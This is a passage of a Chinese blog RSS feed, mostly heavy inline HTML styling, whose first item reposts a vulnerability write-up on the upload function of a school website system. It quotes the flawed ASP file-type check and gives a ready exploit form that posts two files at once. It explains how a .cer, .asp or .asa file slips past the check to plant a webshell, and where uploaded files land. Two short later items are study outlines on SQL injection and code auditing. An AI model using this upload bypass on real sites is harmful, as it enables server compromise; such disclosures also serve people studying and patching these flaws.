padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">end&nbsp;if &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">if&nbsp;EnableUpload=false&nbsp;then &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;msg=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"这种文件类型不允许上传！nn只允许上传这几种文件类型："</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;&amp;&nbsp;UpFileType &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;FoundErr=true&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\</span><span class="comment" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 130, 0); background-color: inherit; ">'判断我们的EnableUpload这个变量是真或者假，真表示合法 </span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">end&nbsp;if &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">strJS=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"&lt;SCRIPT&nbsp;language=javascript&gt;"</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;&amp;&nbsp;vbcrlf &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">if&nbsp;FoundErr&lt;&gt;true&nbsp;then &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;randomize &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;ranNum=int(900*rnd)+100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\</span><span class="comment" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 130, 0); background-color: inherit; ">'在这里又对FoundErr变量进行判断，不为True那就可以上传了。 </span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;filename=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"big"</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"."</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&amp;fileExt &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;smallfilename=year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"."</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&amp;fileExt &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;ofile.SaveToFile&nbsp;Server.mappath(SavePath&amp;filename)&nbsp;&nbsp;&nbsp;\</span><span class="comment" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 130, 0); background-color: inherit; ">'保存文件</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li></ol></pre><div class="f14" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">这不就是以前那个动易的上传漏洞吗？由于这个化境无组件上传可以上传多个文件，我们可以通过上传同时两个不同后缀的文件来绕过判断，从而将我们的木马直接提交到服务器上。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">这是利用代码：<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;form action="[url=http://127.0.0.1/Upfile_Photo.asp]http://127.0.0.1/Upfile_Photo.asp[/url]" method="post" name="form1"&nbsp; enctype="multipart/form-data"&gt;&nbsp; \'其中127.0.0.1要改成你要提交的域名URL.<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; &lt;input name="FileName" type="FILE" class="tx1" size="21" &gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; &lt;input name="FileName1" type="FILE" class="tx1" size="21" &gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; &lt;input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt"&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; &lt;input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1"&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;/form&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">其中第一个文件名里面要填写符合程序要求的后缀文件，比如说.jpg、.gif等等。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">第二个我们可以使用cer的后缀，其实也可以直接使用asp或者asa的文件进行上传，不过要再上传的时候在其后面加一个空格或者加一个点这样才能成功（貌似IE8.0能加空格）。具体原因，可以通过其源码进行分析。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">既然有上传漏洞这种简单的能拿到webshell的方法了，其他的也就不去分析了。呵呵，虽然本文技术含量不高，而且是老的不能再老的漏洞了，但笔者可是写的很是辛苦啊（第一次写这种漏洞分析的文章），望刀城的贵人们多赏几个刀币啊 谢谢了。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">忘了说了，上传之后路径是这里：/uploadfile/image/<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">由原创作者anliou首发：刀客城&nbsp; 《天缘学校网站系统 v1.3存在上传漏洞》<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp;</div><div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><img height="255" alt="" width="553" border="0" src="http://www.daokers.cn/uploads/allimg/100826/1_100826182919_1.jpg" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; max-width: 680px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><img height="183" alt="" width="375" border="0" src="http://www.daokers.cn/uploads/allimg/100826/1_100826182919_2.jpg" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; max-width: 680px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><img height="264" alt="" width="613" border="0" src="http://www.daokers.cn/uploads/allimg/100826/1_100826182919_3.jpg" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; max-width: 680px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp;</div><div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp;2010.07-26</div>(责任编辑：admin)</td></tr></tbody></table></div>
<img src ="http://www.cppblog.com/fdsajhg3000/aggbug/138497.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/fdsajhg3000/" target="_blank">fdsajhg</a> 2011-01-14 01:15 <a href="http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138497.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习步骤</title><link>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136797.html</link><dc:creator>fdsajhg</dc:creator><author>fdsajhg</author><pubDate>Fri, 17 Dec 2010 11:19:00 GMT</pubDate><guid>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136797.html</guid><wfw:comment>http://www.cppblog.com/fdsajhg3000/comments/136797.html</wfw:comment><comments>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136797.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/fdsajhg3000/comments/commentRss/136797.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/fdsajhg3000/services/trackbacks/136797.html</trackback:ping><description><![CDATA[<div><br></div><div><br></div><div><br></div><div>&nbsp;&nbsp;A， 手工提取数据 &nbsp; &nbsp; &nbsp; &nbsp;---存操作 &nbsp;--修改操作</div><div>&nbsp;&nbsp;B，网页植入MYSQL操作</div><div>&nbsp;&nbsp;C，MYSQL语句</div><div><br></div><div>&nbsp;&nbsp;D，MYSQL配置</div><div>------D，操作软件 &nbsp;&nbsp;</div><div><br></div><div>&nbsp;&nbsp; A，</div><div>&nbsp;&nbsp; B，</div><div>&nbsp;&nbsp; C，</div><div>&nbsp;&nbsp; D，</div><div><br></div><div><br></div><div>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;各种漏洞</div><div>基础--数据库操作</div><div><br></div><div>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;防注入</div><div>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div><br></div><div><br></div>
<img src ="http://www.cppblog.com/fdsajhg3000/aggbug/136797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/fdsajhg3000/" target="_blank">fdsajhg</a> 2010-12-17 19:19 <a href="http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136797.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>审计</title><link>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136796.html</link><dc:creator>fdsajhg</dc:creator><author>fdsajhg</author><pubDate>Fri, 17 Dec 2010 11:11:00 GMT</pubDate><guid>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136796.html</guid><wfw:comment>http://www.cppblog.com/fdsajhg3000/comments/136796.html</wfw:comment><comments>http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136796.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/fdsajhg3000/comments/commentRss/136796.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/fdsajhg3000/services/trackbacks/136796.html</trackback:ping><description><![CDATA[
<div>资料提交--修改</div><div>---</div><div>上传过滤</div><div>---</div><div>配置写入</div><div>--------</div><div>资料搜索--</div><div>------</div><div>备份</div><div>---------</div><div>&nbsp;&nbsp; 读源码漏洞</div><div>---</div><div>&nbsp;国内代码防注</div><div>---</div><div>&nbsp;&nbsp;一，注入开始横扫</div><div>漏洞挖掘之旅</div><div><br></div><div>&nbsp;&nbsp;防注入防火，</div><div><br></div>
<img src ="http://www.cppblog.com/fdsajhg3000/aggbug/136796.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/fdsajhg3000/" target="_blank">fdsajhg</a> 2010-12-17 19:11 <a href="http://www.cppblog.com/fdsajhg3000/archive/2010/12/17/136796.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>